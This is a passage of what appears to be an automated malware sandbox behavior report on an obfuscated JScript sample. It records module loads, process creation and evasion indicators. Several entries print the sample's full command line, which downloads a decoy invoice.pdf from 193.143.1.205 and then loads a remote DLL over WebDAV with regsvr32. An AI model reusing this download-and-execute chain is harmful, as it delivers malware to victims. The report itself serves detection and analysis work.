Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1651.js.csv");ITextStream.WriteLine(" entry:7931 f:wwddtqoqc");ITextStream.WriteLine(" exec:2 f:wwddtqoqc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4437			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5445			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4592	Thread sleep count: 4437 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4592	Thread sleep count: 5445 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5808	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2104	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7180	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3040041635.000002C8C002B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1806301721.000002440FF90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW U
Source: net.exe, 00000006.00000002.1806301721.000002440FFF0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3041432445.000002C8C5643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3041471173.000002C8C5655000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1806301721.000002440FFF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW?

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
